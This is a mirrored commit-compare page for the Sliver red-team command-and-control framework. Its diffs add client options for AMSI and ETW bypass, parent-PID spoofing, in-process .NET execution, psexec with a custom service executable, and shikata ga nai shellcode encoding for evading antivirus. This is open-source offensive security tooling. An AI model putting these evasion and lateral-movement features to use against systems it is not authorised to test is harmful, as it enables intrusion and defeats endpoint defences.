mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 17:09:51 -10:00
Compare commits
78
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7a22ed901a | ||
|
|
abde731c35 | ||
|
|
1f7bc9b227 | ||
|
|
8617ac9c47 | ||
|
|
8aa8095010 | ||
|
|
b621107965 | ||
|
|
04f0d38bd2 | ||
|
|
8ef7f465a4 | ||
|
|
102ee0b533 | ||
|
|
c3cb978ee6 | ||
|
|
18ddfd2943 | ||
|
|
3b3a335c41 | ||
|
|
b64f00a66e | ||
|
|
6a44f6b435 | ||
|
|
e4db654d62 | ||
|
|
1a1924273b | ||
|
|
c20acb9657 | ||
|
|
3d89716007 | ||
|
|
3351ab0fee | ||
|
|
4c062445ad | ||
|
|
bdb6393842 | ||
|
|
20a4043d7c | ||
|
|
79d720d477 | ||
|
|
2ec234fd8c | ||
|
|
3ab978e754 | ||
|
|
0644a82a2c | ||
|
|
d6c41f1713 | ||
|
|
660af1fe60 | ||
|
|
79f2d48fcd | ||
|
|
166c494894 | ||
|
|
01121922e9 | ||
|
|
c1a9702760 | ||
|
|
1be70b3053 | ||
|
|
f0405a3beb | ||
|
|
68e9dcc61c | ||
|
|
f75d791d20 | ||
|
|
223500ed83 | ||
|
|
e72cc7dcef | ||
|
|
709065a067 | ||
|
|
99c23dc226 | ||
|
|
8a278ce532 | ||
|
|
29755d7109 | ||
|
|
1d885c6083 | ||
|
|
f85d0d64d8 | ||
|
|
28e52e42b4 | ||
|
|
8bfba5cb50 | ||
|
|
6bb49e444b | ||
|
|
205737f768 | ||
|
|
f19c43f07b | ||
|
|
81b8002ac0 | ||
|
|
c5853a35fc | ||
|
|
98f55c8432 | ||
|
|
34f60a7b1a | ||
|
|
9987f377a2 | ||
|
|
9852f03ebb | ||
|
|
ce95f86f38 | ||
|
|
ae61aa032e | ||
|
|
cec867426f | ||
|
|
8479252975 | ||
|
|
4bfb38e52d | ||
|
|
aba4a140c3 | ||
|
|
df4245c69b | ||
|
|
44578c32ed | ||
|
|
07a53b8c75 | ||
|
|
e08f420606 | ||
|
|
b19cfba921 | ||
|
|
3b821d19bd | ||
|
|
4e8e254c0e | ||
|
|
d1cf55805a | ||
|
|
7d07f4c518 | ||
|
|
5d3cb883d9 | ||
|
|
29f816ef7e | ||
|
|
3ec4c5129c | ||
|
|
2840e6ed9a | ||
|
|
fee6ee8f2d | ||
|
|
a1d3cbd0da | ||
|
|
4a17490592 | ||
|
|
d55c20d7a2 |
No files matched your search
@@ -0,0 +1 @@
|
||||
* @BishopFox/red-team
|
||||
@@ -17,7 +17,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.18'
|
||||
go-version: '1.18.5'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -68,7 +68,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.18'
|
||||
go-version: '1.18.5'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -20,7 +20,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.18"
|
||||
go-version: "1.18.5"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -23,7 +23,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.18'
|
||||
go-version: '1.18.5'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -58,7 +58,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.18'
|
||||
go-version: '1.18.5'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.18.4
|
||||
FROM golang:1.18.5
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -177,8 +178,15 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -272,6 +280,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
@@ -306,15 +325,21 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -350,6 +375,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -386,6 +413,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -69,6 +69,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/shell"
|
||||
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
@@ -478,7 +479,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
|
||||
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
|
||||
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
|
||||
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -985,6 +987,33 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Shellcode Encoders ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ShikataGaNai,
|
||||
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("shellcode", "binary shellcode file path")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save output to local file")
|
||||
|
||||
f.String("a", "arch", "amd64", "architecture of shellcode")
|
||||
f.Int("i", "iterations", 1, "number of iterations")
|
||||
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sgn.ShikataGaNaiCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Exec ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -1000,6 +1029,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("E", "stderr", "", "remote path to redirect STDERR to")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1030,9 +1060,15 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1063,6 +1099,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
|
||||
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
|
||||
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
|
||||
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
|
||||
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1076,10 +1115,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1108,6 +1150,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("filepath", "path the DLL file")
|
||||
@@ -1196,6 +1240,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("d", "service-description", "Sliver implant", "description of the service")
|
||||
f.String("p", "profile", "", "profile to use for service binary")
|
||||
f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
|
||||
f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1521,6 +1566,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("N", "name", "", "implant name")
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
@@ -3244,7 +3290,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("connection-string", "connection string to the Operator Host")
|
||||
a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -57,22 +58,43 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Int("ppid")),
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
rwxPages := ctx.Flags.Bool("rwx-pages")
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
|
||||
return
|
||||
}
|
||||
arch := ctx.Flags.String("architecture")
|
||||
if arch != "386" && arch != "amd64" {
|
||||
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
|
||||
return
|
||||
}
|
||||
iter := ctx.Flags.Int("iterations")
|
||||
con.PrintInfof("Encoding shellcode ...\n")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iter),
|
||||
BadChars: []byte{},
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
shellcodeBin = resp.GetData()
|
||||
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
|
||||
}
|
||||
|
||||
if interactive {
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: ctx.Flags.Bool("rwx-pages"),
|
||||
RWXPages: rwxPages,
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
@@ -47,6 +47,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
ppid := ctx.Flags.Uint("ppid")
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
@@ -61,14 +62,16 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
if token || ppid != 0 {
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
PPid: uint32(ppid),
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
|
||||
@@ -21,6 +21,7 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -47,10 +48,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
|
||||
return
|
||||
}
|
||||
var serviceBinary []byte
|
||||
profile := ctx.Flags.String("profile")
|
||||
serviceName := ctx.Flags.String("service-name")
|
||||
serviceDesc := ctx.Flags.String("service-description")
|
||||
binPath := ctx.Flags.String("binpath")
|
||||
customExe := ctx.Flags.String("custom-exe")
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
|
||||
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
@@ -61,35 +64,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
if profile == "" {
|
||||
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
|
||||
return
|
||||
if customExe == "" {
|
||||
if profile == "" {
|
||||
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
|
||||
return
|
||||
}
|
||||
|
||||
// generate sliver
|
||||
generateCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
generateCtrl <- true
|
||||
<-generateCtrl
|
||||
var implantProfile *clientpb.ImplantProfile
|
||||
for _, prof := range profiles.Profiles {
|
||||
if prof.Name == profile {
|
||||
implantProfile = prof
|
||||
}
|
||||
}
|
||||
if implantProfile.GetName() == "" {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
|
||||
} else {
|
||||
// use a custom exe instead of generating a new Sliver
|
||||
fileBytes, err := ioutil.ReadFile(customExe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
|
||||
return
|
||||
}
|
||||
serviceBinary = fileBytes
|
||||
}
|
||||
|
||||
// generate sliver
|
||||
generateCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
generateCtrl <- true
|
||||
<-generateCtrl
|
||||
var implantProfile *clientpb.ImplantProfile
|
||||
for _, prof := range profiles.Profiles {
|
||||
if prof.Name == profile {
|
||||
implantProfile = prof
|
||||
}
|
||||
}
|
||||
if implantProfile.GetName() == "" {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
|
||||
filename := randomString(10)
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
|
||||
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
|
||||
// upload to remote target
|
||||
uploadCtrl := make(chan bool)
|
||||
con.SpinUntil("Uploading service binary ...", uploadCtrl)
|
||||
|
||||
@@ -61,6 +61,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
IsDLL: isDLL,
|
||||
IsUnicode: ctx.Flags.Bool("unicode"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -246,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if ext.Name == extName {
|
||||
if ext.CommandName == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -155,7 +155,15 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
if err == nil && fi.IsDir() {
|
||||
if download.IsDir {
|
||||
// Come up with a good file name - filters might make the filename ugly
|
||||
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(con.GetActiveSessionConfig().Name), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
implantName := ""
|
||||
if session != nil {
|
||||
implantName = session.Name
|
||||
} else if beacon != nil {
|
||||
implantName = beacon.Name
|
||||
}
|
||||
|
||||
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
// Windows has a file path length of 260 characters
|
||||
|
||||
@@ -636,12 +636,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, errors.New("no file data")
|
||||
}
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
confirm := false
|
||||
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
|
||||
if confirm {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
err = ioutil.WriteFile(saveTo, fileData, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
|
